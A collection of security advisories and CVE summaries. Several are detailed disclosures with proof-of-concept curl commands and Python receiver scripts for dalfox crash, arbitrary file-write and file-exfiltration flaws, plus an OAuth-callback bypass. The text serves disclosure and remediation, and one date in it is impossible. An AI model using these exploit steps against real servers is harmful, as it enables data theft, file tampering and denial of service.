CVEs

The torch-checkpoint-shrink.py script in the ml-engineering project in commit 0099885db36a8f06556efe1faf552518852cb1e0 (2025-20-27) contains an insecure deserialization vulnerability (CWE-502). The script uses torch.load() to process PyTorch checkpoint files (.pt) without enabling the security-restrictive weights_only=True parameter. This oversight allows the deserialization of arbitrary Python objects via the pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution in the context of the user running the script.

Server-Side Request Forgery vulnerability allows Privilege Escalation via API Checker extension. This issue affects Pandora FMS: from 777 through 800

Session Fixation vulnerability allows Session Hijacking via crafted session ID. This issue affects Pandora FMS: from 777 through 800

Cross-Site Request Forgery vulnerability allows an attacker to perform unauthorized actions via crafted web page. This issue affects Pandora FMS: from 777 through 800

Insecure Default Initialization of Resource vulnerability allows Authentication Bypass via API access. This issue affects Pandora FMS: from 777 through 800

An insecure direct object reference in MK-Auth 23.01K4.9 allows attackers to access and send support calls for other users via manipulation of the chamado parameter through a crafted GET request.

An arbitrary file upload vulnerability in MK-Auth 23.01K4.9 allows attackers to execute arbitrary code via uploading a crafted PHP file.

# OAuth State Validation Bypass via `error` Parameter Causes Local Server DoS in MCP Auth Callback --- ## Description The OpenClaude MCP authentication flow starts a temporary local HTTP server to handle OAuth callbacks. To prevent CSRF attacks, the server validates a `state` parameter against an internally stored value. However, due to a logic flaw in the order of conditionals, an attacker can completely bypass this check and force the server to shut down — without knowing the `state` value at all. The vulnerable code looks like this: ```typescript if (!error && state !== oauthState) { rejectOnce(new Error('OAuth state mismatch - possible CSRF attack')) return } if (error) { cleanup() rejectOnce(new Error(errorMessage)) return } ``` When a request arrives with an `error` query parameter (e.g., `?error=anything`), the first condition becomes `false` because `!error` evaluates to `false`. This means the CSRF check is **never reached**. Execution falls through to the second block, where `cleanup()` is called — shutting down the local server and terminating the user's active authentication session. The attacker does not need to know the `state` value. Any request containing an `error` parameter is enough to trigger the shutdown. --- ## Impact - The user's OAuth flow is silently terminated mid-session - The local callback server is shut down (Denial of Service) - Can be triggered remotely via a malicious web page using a cross-origin request (CSRF) - No authentication or prior knowledge of the `state` value is required --- ## Steps to Reproduce Save the following as `poc.js` and run with Node.js: ```javascript import { createServer } from 'http'; import { parse } from 'url'; const expectedState = "secure_state_abc123"; const server = createServer((req, res) => { const parsedUrl = parse(req.url || '', true); const { pathname, query } = parsedUrl; const { state, error } = query; if (pathname === '/callback') { // Vulnerable: error param causes state check to be skipped entirely if (!error && state !== expectedState) { res.writeHead(400); res.end('State mismatch'); console.log('[-] CSRF attempt blocked.'); return; } if (error) { res.writeHead(200); res.end(`Error: ${error}`); console.log(`[!] Server shutting down. Triggered by: ${error}`); server.close(); return; } } }); server.listen(12345, '127.0.0.1', () => { console.log('Listening on http://127.0.0.1:12345'); }); ``` **Terminal 1 — start the server:** ```bash node poc.js ``` **Terminal 2 — trigger the bypass:** ```bash curl "http://127.0.0.1:12345/callback?error=triggered" ``` **Expected result:** Server shuts down immediately. The `state` value was never checked. --- ## Root Cause The CSRF protection is conditioned on `!error`, meaning it is silently disabled whenever an `error` parameter is present. The two checks need to be decoupled — state validation must happen first, independently of any other parameters. --- ## Fix Move the `state` check before the `error` check, and remove the dependency on `!error`: ```typescript // Fixed if (state !== oauthState) { cleanup() rejectOnce(new Error('OAuth state mismatch - possible CSRF attack')) return } if (error) { cleanup() rejectOnce(new Error(errorMessage)) return } ``` With this change, any request — whether it contains an `error` parameter or not — must first pass the state validation before any further processing occurs. --- Credit: Xanlar Agamalizade

Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3.

LWP::UserAgent versions before 6.83 for Perl leak Authorization and Proxy-Authorization headers on cross-origin redirects. On a 3xx response, the redirect handler strips only Host and Cookie before issuing the follow-up request. Caller-supplied Authorization and Proxy-Authorization headers are sent unchanged to the redirect target, including across scheme, host, or port changes. A redirect to an attacker controlled host therefore discloses the caller's credentials to that host.

SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.

Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.

An exposed dangerous method on the Core Server of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to leak access credentials.

OS command injection in Ivanti Virtual Traffic Manager before version 22.9r4 allows a remote authenticated attacker with admin privileges to achieve remote code execution.

External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.

A race condition in Ivanti Secure Access Client before 22.8R6 allows a locally authenticated user to escalate privileges to SYSTEM

An incorrect permission assignment for critical resource of Ivanti Secure Access Client   before 22.8R6 allows a local authenticated user to read or modify sensitive log data via write access to a shared memory section.

CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to initial settings in rare circumstances, enabling unauthorized authentication using known credentials.

The consul-template library before version 0.42.0 is vulnerable to a sandbox path bypass in the file template helper that may allow reading an out-of-sandbox file. This vulnerability (CVE-2026-5061) is fixed in consul-template 0.42.0.

Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.6.0, The createTokenFromRefreshToken function (oidc_service.go) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows (1) the client to refresh the token indefinitely after authorization revocation, (2) the refresh token to continue to work after the account is disabled, and (3) the token to work after the client is removed from the group. This vulnerability is fixed in 2.6.0.

YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5 and 3.2.12, the thread posting and reply feature accepts user-supplied content via a a post or reply that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. This vulnerability is fixed in 4.0.5 and 3.2.12.

YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5 and 3.2.12, the application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. This vulnerability is fixed in 4.0.5 and 3.2.12.

YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.

Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in elixir-ecto postgrex ('Elixir.Postgrex.Notifications' module) allows SQL Injection. The channel argument passed to 'Elixir.Postgrex.Notifications':listen/3 and 'Elixir.Postgrex.Notifications':unlisten/3 is interpolated directly into LISTEN "..." / UNLISTEN "..." SQL statements without escaping the " character. An attacker who can influence the channel name can inject a " to break out of the quoted identifier and append arbitrary SQL. Because the notifications connection uses the PostgreSQL simple query protocol, multi-statement payloads are accepted, allowing DDL and DML commands to be chained (e.g. ; DROP TABLE ...; --). The same unsanitized interpolation also occurs in handle_connect/1 when replaying LISTEN commands after a reconnect. This vulnerability is associated with program file lib/postgrex/notifications.ex and program routines 'Elixir.Postgrex.Notifications':listen/3, 'Elixir.Postgrex.Notifications':unlisten/3, 'Elixir.Postgrex.Notifications':handle_connect/1. This issue affects postgrex: from 0.16.0 before 0.22.2, from pkg:github/elixir-ecto/postgrex@266b530faf9bde094e31e0e4ab851f933fadc0f5 before 0.22.2.

A Stored Cross-Site Scripting (XSS) vulnerability was discovered in the File Management module of FluentCMS 1.2.3. The flaw allows an authenticated administrator to upload crafted SVG files containing malicious JavaScript code. Once uploaded, the script executes in the browser of any user who accesses the direct URL of the image, including unauthenticated visitors.

## Summary `ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != ""` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control. - **Privileges Required:** None — `--api-key` defaults to `""`, so no auth middleware is registered. - **User Interaction:** None. - **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority. - **Confidentiality Impact:** None. - **Integrity Impact:** None. - **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient. **Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`. ## Affected Component - `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445 - `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed ## CWE - **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error - **CWE-404**: Improper Resource Shutdown or Release ## Description ### Two-Stage Channel Lifecycle Ordering Error `ParameterAnalysis` allocates a single `results` channel shared by both worker stages: ```go // pkg/scanning/parameterAnalysis.go:397-408 paramsQue := make(chan string, concurrency) results := make(chan model.ParamResult, concurrency) // ← single channel for both stages go func() { for result := range results { // consumer exits when results is closed mutex.Lock() params[result.Name] = result mutex.Unlock() } }() ``` **First stage** (URL parameters in `p`): ```go // lines 410-437 for i := 0; i < concurrency; i++ { wgg.Add(1) go func() { processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog) wgg.Done() }() } // ... feed paramsQue ... close(paramsQue) wgg.Wait() close(results) // ← line 438: results is now closed; consumer goroutine exits ``` **Second stage** (POST-body parameters in `dp`): ```go // lines 440-448 var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) // ^^^^^^^ — same closed channel wggg.Done() }() } ``` When a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel: ```go // pkg/scanning/parameterAnalysis.go:299 results <- paramResult // panic: send on closed channel ``` A Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process. ### Trigger Conditions Are Both Attacker-Controlled **Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != ""`: ```go // parameterAnalysis.go:41-45 if options.Data != "" { if dp.Get(name) == "" { dp.Set(name, "") } } ``` The attacker sets `"data": "q=test"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `"mining-dict": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work. **Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist. ### PR #917 Fixed Different Bugs Commit `8a424d1` addressed: 1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex` 2. Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard Neither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched. ## Proof of Concept ```bash # Step 1 — Attacker-controlled reflective server python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def _h(self): qs = parse_qs(urlparse(self.path).query) n = int(self.headers.get('Content-Length', '0')) body = self.rfile.read(n).decode() if n else '' bq = parse_qs(body) v = qs.get('q', [''])[0] or bq.get('q', [''])[0] out = f'<html><body>{v}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(out))) self.end_headers() self.wfile.write(out) def do_GET(self): self._h() def do_POST(self): self._h() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18083), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Single unauthenticated request terminates the server process curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18083/?q=test", "options": { "data": "q=test", "mining-dict": true, "use-headless": false, "worker": 1 } }' # Expected: dalfox process exits immediately with: # goroutine N [running]: # panic: send on closed channel # pkg/scanning/parameterAnalysis.go:299 +0x... # Step 4 — Verify server is down curl -s http://127.0.0.1:16664/health # Expected: connection refused ``` No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write. ## Impact - **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required. - All in-flight scans are lost without results. - The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions. ## Recommended Remediation ### Option 1: Allocate a fresh `results` channel for the second stage (preferred) The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage. ```go // pkg/scanning/parameterAnalysis.go — replace the second stage block: var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) results2 := make(chan model.ParamResult, concurrency) // fresh channel go func() { for result := range results2 { mutex.Lock() params[result.Name] = result mutex.Unlock() } }() for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog) wggg.Done() }() } // ... feed paramsDataQue ... close(paramsDataQue) wggg.Wait() close(results2) // close after all writers are done ``` ### Option 2: Merge both parameter maps before the single worker stage Process `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design: ```go // Before the worker loop, merge dp into p (or into a unified queue): for k := range dp { // feed to the same paramsQue along with p entries } // Then run a single close(paramsQue) → wgg.Wait() → close(results) ``` This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug. ### Option 3: Add a `recover` in processParams goroutines (stopgap only) Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected: ```go go func() { defer func() { if r := recover(); r != nil { printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options) } wggg.Done() }() processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) }() ``` Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

## Summary When dalfox is run in REST API server mode, the `output`, `output-all`, and `debug` fields in `model.Options` are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine's logging path. The logger opens the attacker-supplied path with `os.O_APPEND|os.O_CREATE|os.O_WRONLY` and writes scan log lines to it. Critically, this file write block lives outside the `IsLibrary` guard in `DalLog`, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. ## Severity **High** (CVSS 3.1: 8.2) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default. - **Attack Complexity:** Low — no preconditions; all trigger options (`output`, `output-all`, `debug`) are fully attacker-supplied in the JSON body. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is never registered. - **User Interaction:** None. - **Scope:** Unchanged — the file write stays within the dalfox process's OS authority. - **Confidentiality Impact:** None — this is a write-only primitive; no data is returned to the caller. - **Integrity Impact:** High — the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting. - **Availability Impact:** Low — corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `OutputFile`, `OutputAll`, `Debug`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 107): `OutputFile` explicitly propagated from caller options; `OutputAll` (line 167) and `Debug` (line 176) likewise - `internal/printing/logger.go` — `DalLog()` (lines 230–244): `os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)` executes outside the `IsLibrary` guard ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-434**: Unrestricted Upload of File with Dangerous Type (write-path variant) ## Description ### `output`, `output-all`, and `debug` Are Fully Attacker-Controlled `model.Options` exposes all three trigger fields with JSON tags: ```go // pkg/model/options.go:88,85,88 OutputFile string `json:"output,omitempty"` OutputAll bool `json:"output-all,omitempty"` Debug bool `json:"debug,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `Initialize` explicitly copies all three fields into `newOptions`: ```go // lib/func.go:107, 167, 176 "OutputFile": {&newOptions.OutputFile, options.OutputFile}, ... "OutputAll": {&newOptions.OutputAll, options.OutputAll}, ... "Debug": {&newOptions.Debug, options.Debug}, ``` ### The File Write Is Not Guarded by `IsLibrary` `Initialize` always sets `IsLibrary: true` (line 20) and `Silence: true` (line 44) in its returned options — the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. `DalLog` does respect this for stderr output: lines 203–228 route logs to `ScanResult.Logs` (not stderr) when `IsLibrary` is true. However, the file write block at lines 230–244 is positioned **after and outside** that `if-else`: ```go // internal/printing/logger.go mutex.Lock() if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path } else { // stderr printing (CLI path) } // ← file write is here, unconditionally — no IsLibrary check if options.OutputFile != "" { var fdtext string if ftext != "" { fdtext = ftext f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { fmt.Fprintln(os.Stderr, "output file error (file)") } defer f.Close() if _, err := f.WriteString(fdtext + "\n"); err != nil { fmt.Fprintln(os.Stderr, "output file error (write)") } } } mutex.Unlock() ``` The `ftext` variable is populated whenever `allWrite` is true (`options.Debug || options.OutputAll`). Since both are attacker-supplied, both conditions are trivially satisfied. ### What Gets Written Log lines of the form: ``` [*] Starting scan [SID:<id>] / URL: <attacker-supplied-url> [I] Checking BAV [E] connection refused [DEBUG] <internal state> ... ``` The URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like `[*] `, `[I] `, `[E] `), the **file path is entirely attacker-controlled**. The flags `O_CREATE` (creates the file if absent) and `O_APPEND` (never truncates) mean the attacker can: - Create new files at arbitrary paths - Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax) ### No Defense at Any Layer The same opt-in API key gap applies here as in all prior findings: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` There is no path allowlist, no `IsLibrary` guard on the file write, and no stripping of `OutputFile` from API-sourced requests anywhere in the codebase. ## Proof of Concept ```bash # Step 1 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 2 — Verify health (unauthenticated) curl -s http://127.0.0.1:16664/health # Expected: {"code":200,"msg":"ok"} # Step 3 — Trigger arbitrary file creation with attacker-controlled path curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:1/?x=1", "options": { "output": "/tmp/dalfox_sink_poc.log", "output-all": true, "debug": true, "use-headless": false } }' # Step 4 — Verify file was created and written to by the dalfox process sleep 2 cat /tmp/dalfox_sink_poc.log # Expected: # [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1 # [I] Checking BAV # [E] ... ``` No `X-API-KEY` header is required. Replace `/tmp/dalfox_sink_poc.log` with any path writable by the dalfox process: `/var/www/html/injected.txt`, `/etc/cron.d/dalfox`, `~/.ssh/authorized_keys` (appending log lines that won't break key format but pollute the file), etc. ## Impact - **Arbitrary file creation**: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories. - **Arbitrary file append/corruption**: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files). - **Partial content control via URL**: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats. - **No authentication required** in the default deployment. - When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Nullify all fields that touch the local filesystem before passing options to `ScanFromAPI`. This is the same remediation recommended for the `found-action` RCE and `custom-payload-file` file-read findings and should be applied as a single consolidated patch: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.OutputFile = "" rq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile="" rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.HarFilePath = "" ``` ### Option 2: Guard the file write with `IsLibrary` in `DalLog` Move the `OutputFile` write block inside the `else` branch so it only executes in non-library (CLI) mode: ```go // internal/printing/logger.go — restructure the if-else: if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) } else { // existing stderr printing logic... // file write belongs here, not after the if-else if options.OutputFile != "" && ftext != "" { f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) ... } } ``` This fix addresses the root structural cause — the file write was intended for CLI mode only, and gating it on `!IsLibrary` matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage. ### Option 3: Require `--api-key` at server startup As with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` All three options should be applied together. ##Credit Emmanuel David Github:- https://github.com/drmingler.

## Summary When dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is not registered. - **User Interaction:** None. - **Scope:** Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority. - **Confidentiality Impact:** High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc. - **Integrity Impact:** None — this path is read-only. - **Availability Impact:** None. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options - `pkg/scanning/scan.go` — anonymous block (lines 341–368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-552**: Files or Directories Accessible to External Parties ## Description ### `custom-payload-file` Is Fully Attacker-Controlled `model.Options` exposes `CustomPayloadFile` with a JSON tag: ```go // pkg/model/options.go:33 CustomPayloadFile string `json:"custom-payload-file,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering: ```go // lib/func.go:117 "CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile}, ``` ### File Read and Exfiltration Path In `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path: ```go // pkg/scanning/scan.go:341-366 if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" { ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) if err != nil { printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options) } else { for _, customPayload := range ff { if customPayload != "" { for k, v := range params { if optimization.CheckInspectionParam(options, k) { ... tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options) query[tq] = tm } } } } } } ``` Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., `?q=<file-line>`). ### Condition Is Trivially Satisfiable The condition `options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])` is satisfied by setting `skip-discovery: true` in the JSON request body — a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: ["q"]`. The code then hardcodes `policy["Content-Type"] = "text/html"` and populates `params["q"]` automatically: ```go // pkg/scanning/scan.go:224-240 if len(options.UniqParam) == 0 { return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag") } for _, paramName := range options.UniqParam { params[paramName] = model.ParamResult{ Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(), } } policy["Content-Type"] = "text/html" ``` Both conditions are fully attacker-controlled through the JSON request body. ### No Defense at Any Layer The same opt-in API key guard from the first finding applies identically here: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read. ## Proof of Concept ```bash # Step 1 — Attacker-controlled receiver (logs q= parameter to stdout) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] print("[RECEIVED] q =", q, flush=True) body = b'<html><body>ok</body></html>' self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process) curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "custom-payload-file": "/etc/hostname", "only-custom-payload": true, "skip-discovery": true, "param": ["q"], "use-headless": false, "worker": 1 } }' # Expected output on the receiver (Step 1 terminal): # [RECEIVED] q = myhostname.local # For multi-line files (e.g. /etc/passwd), each line arrives as a separate request ``` No `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., 